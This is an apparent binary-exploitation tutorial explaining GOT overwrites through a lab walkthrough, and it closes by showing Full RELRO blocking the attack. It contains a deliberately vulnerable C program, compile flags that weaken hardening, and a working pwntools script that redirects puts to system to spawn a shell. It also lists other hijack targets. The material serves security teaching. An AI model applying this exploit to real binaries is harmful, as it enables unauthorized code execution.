Skip to content

Hijacking the GOT: Redirecting a libc Call

Lazy binding leaves the Global Offset Table writable. Aim an arbitrary write at a GOT entry, turn puts() into system(), then enable Full RELRO and watch the same write fault instantly.

Published on 4 min read

This is the fifth walkthrough in the Exploitation Techniques area. The format-string guide gave us an arbitrary write but pointed it at a placeholder. Here we choose the highest-value target for a single write: the Global Offset Table. Overwriting one GOT entry redirects a library call to a function of our choosing — and this is the technique that finally makes RELRO matter.

Same rules as ever: our own binary, disposable lab. See the lab rules.

How the PLT and GOT work

Calls to imported functions like puts do not jump straight into libc. They jump to a small stub in the PLT (Procedure Linkage Table), which reads the function's real address from the corresponding GOT (Global Offset Table) entry and jumps there.

How an imported call reaches libc — and what the attacker overwrites
call puts@pltthe call site
jumps to
puts@plt stubreads the GOT entry
jmp *[got]
[puts@got]writable pointer — the overwrite target
resolved to
puts in libcthe real function
codewritable memorylibrary

With lazy binding, puts@got is filled in on first call, so the table is writable at runtime. If we can write to puts@got, we replace the address of puts with the address of system. The program's next puts(user_controlled) becomes system(user_controlled).

The target

A program with a clean arbitrary-write primitive and a later library call we can hijack:

/* vuln.c — a write-what-where, then a puts() we can redirect. */
#include <stdio.h>
#include <string.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long addr, value;
    char line[128];

    /* Arbitrary write primitive (stands in for a real bug). */
    if (scanf("%lx %lx", &addr, &value) != 2) return 1;
    *(unsigned long *)addr = value;       /* write-what-where */

    /* Later, a library call we can hijack; its argument is attacker data. */
    fgets(line, sizeof line, stdin);
    puts(line);                            /* becomes system(line) after the overwrite */
    return 0;
}

Build it with Partial RELRO (the common default) so the GOT is writable:

gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c
$ checksec --file=./vuln
RELRO:    Partial RELRO      ← GOT is writable
PIE:      No PIE (0x400000)  ← GOT entry at a fixed address

The exploit

One write swaps puts for system; then we send /bin/sh as the "string to print".

# exploit.py
from pwn import *

context.binary = elf = ELF("./vuln")

io = process("./vuln")

# In a -no-pie binary these are fixed, known addresses:
puts_got   = elf.got["puts"]
system_plt = elf.plt["system"]     # system is imported here, so it has a PLT stub

# 1) write system's address over the puts GOT entry
io.sendline(f"{puts_got:x} {system_plt:x}".encode())

# 2) the next puts(line) now calls system(line)
io.sendline(b"/bin/sh")
io.interactive()
$ python3 exploit.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)

When main reaches puts(line), the PLT stub reads the (now poisoned) GOT entry and jumps to system instead, with line — "/bin/sh" — as its argument.

If system is not already imported, you cannot use elf.plt["system"]. Then you overwrite the GOT entry with a libc address you computed from a leak — e.g. write libc.symbols["system"] over puts@got. The principle is identical; only the source of the target address changes.

Other high-value GOT targets

  • atoi@got, strlen@got, printf@got — any imported function whose argument the attacker controls at call time.
  • On older glibc, __free_hook / __malloc_hook were popular equivalents (removed in glibc 2.34+).
  • The .fini_array / __exit_funcs path, hijacked so the redirect fires at program exit.

Turn the mitigation back on: Full RELRO

This is the one guide in the series where a single flag closes the technique cleanly.

gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c
$ checksec --file=./vuln_full
RELRO:    Full RELRO

Run exploit.py against vuln_full:

[*] Process './vuln_full' stopped with exit code -11 (SIGSEGV)

The write to puts_got now hits a read-only page and faults instantly. Full RELRO makes the loader resolve every import at startup, then remaps the whole GOT read-only before main runs. There is nothing writable left to poison.

BuildRELROGOT overwrite result
-z relro -z lazyPartialWrite lands; puts → system
-z relro -z nowFullWrite faults: GOT is read-only

The cost is a slightly slower startup (all symbols resolved eagerly). For anything security-sensitive that is a trivial price — see binary hardening flags.

What this teaches a defender

  • Full RELRO is not optional for exposed binaries. It converts an entire class of "arbitrary write → code execution" into an immediate crash. Confirm checksec reports Full RELRO, not Partial.
  • RELRO is specific. It protects the GOT. It does nothing about a return-address overwrite (ret2win), a ret2libc chain, or a hijacked .fini_array if that lives elsewhere. Layer it with a canary, PIE and a shadow stack.
  • The GOT is a fixed target only without PIE. PIE randomizes the GOT's location too, so a GOT overwrite then also needs a leak first. Ship both PIE and Full RELRO.

Key takeaways

  • Imported calls route through the PLT, which reads the function's real address from the writable GOT.
  • One arbitrary write to a GOT entry redirects the next call — e.g. puts → system("/bin/sh").
  • A GOT entry is a fixed, easy target in a -no-pie binary and needs no stack control, only a write primitive.
  • Full RELRO (-z relro -z now) remaps the GOT read-only and turns the overwrite into an instant crash.

Next: heap exploitation with tcache and use-after-free, where the write primitive comes from the allocator's own metadata.

Related guides

0x7000 · Exploitation Techniques

ret2dlresolve: Resolving a Symbol Without a Leak

No libc leak, no problem: forge the relocation the dynamic linker reads and make it resolve and call system for you. A pwntools walkthrough — and why Full RELRO ends it.

0x7000 · Exploitation Techniques

Format-String Bugs: Arbitrary Read and Write

One printf(user_input) is a full read/write primitive. Leak with %p, overwrite with %n via pwntools, then watch -Wformat=2 and FORTIFY_SOURCE shut it down.

0x7000 · Exploitation Techniques

one-gadget: One Address to a Shell

Sometimes you control just one pointer. A one-gadget is a single libc address that calls execve("/bin/sh") — if its register and stack constraints hold. Find one, check the constraints, and use it.